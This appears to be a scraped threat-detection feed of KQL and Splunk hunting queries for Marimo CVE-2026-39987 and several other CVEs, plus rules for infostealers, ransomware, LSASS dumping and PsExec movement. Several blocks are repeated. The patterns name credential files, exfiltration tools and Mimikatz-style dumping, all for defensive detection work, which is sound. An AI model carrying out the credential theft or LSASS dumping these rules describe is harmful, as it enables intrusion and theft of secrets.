Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-03-094 use cases0 techniques3 kill-chain phases detected
Ivanti Endpoint Manager (EPM) contains an authentication bypass using an alternate path or channel vulnerability that could allow a remote unauthenticated attacker to leak specific stored credential data. Vendor: Ivanti, Product: Endpoint Manager (EPM). Federal patch due: 2026-03-23.
CVEsCVE-2026-1603
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-1603")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-1603")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-03-060 use cases1 technique1 kill-chain phase detected
The ability to continue operating safely in an unsafe environment where competitors cannot is a competitive advantage that is rarely measured or discussed
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
—
Phase 4
Exploitation
Detected
Phase 5
Installation
Likely
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
—
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
2026-03-055 use cases5 techniques3 kill-chain phases detected
We speak to Director of ESET Threat Research Jean-Ian Boutin about where solutions that blend advanced technology with human expertise provide the most practical value for businesses
ATT&CKT1021.002T1190T1195.002T1486T1555.003
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Likely
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Trusted vendor binary / installer launching unusual children
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
2026-03-054 use cases0 techniques3 kill-chain phases detected
Multiple Hikvision products contain an improper authentication vulnerability that could allow a malicious user to escalate privileges on the system and gain access to sensitive information. Vendor: Hikvision, Product: Multiple Products. Federal patch due: 2026-03-26.
CVEsCVE-2017-7921
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2017-7921")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2017-7921")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-03-054 use cases0 techniques3 kill-chain phases detected
Multiple Rockwell products contain an insufficient protected credentials vulnerability. Studio 5000 Logix Designer software may allow a key to be discovered. This key is used to verify Logix controllers are communicating with Rockwell Automation design software. If successfully exploited, this vulnerability could allow an unauthorized application to connect with Logix controllers. To leverage this vulnerability, an unauthorized user would require network access to the controller. Vendor: Rockwell, Product: Multiple Products. Federal patch due: 2026-03-26.
CVEsCVE-2021-22681
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2021-22681")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2021-22681")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
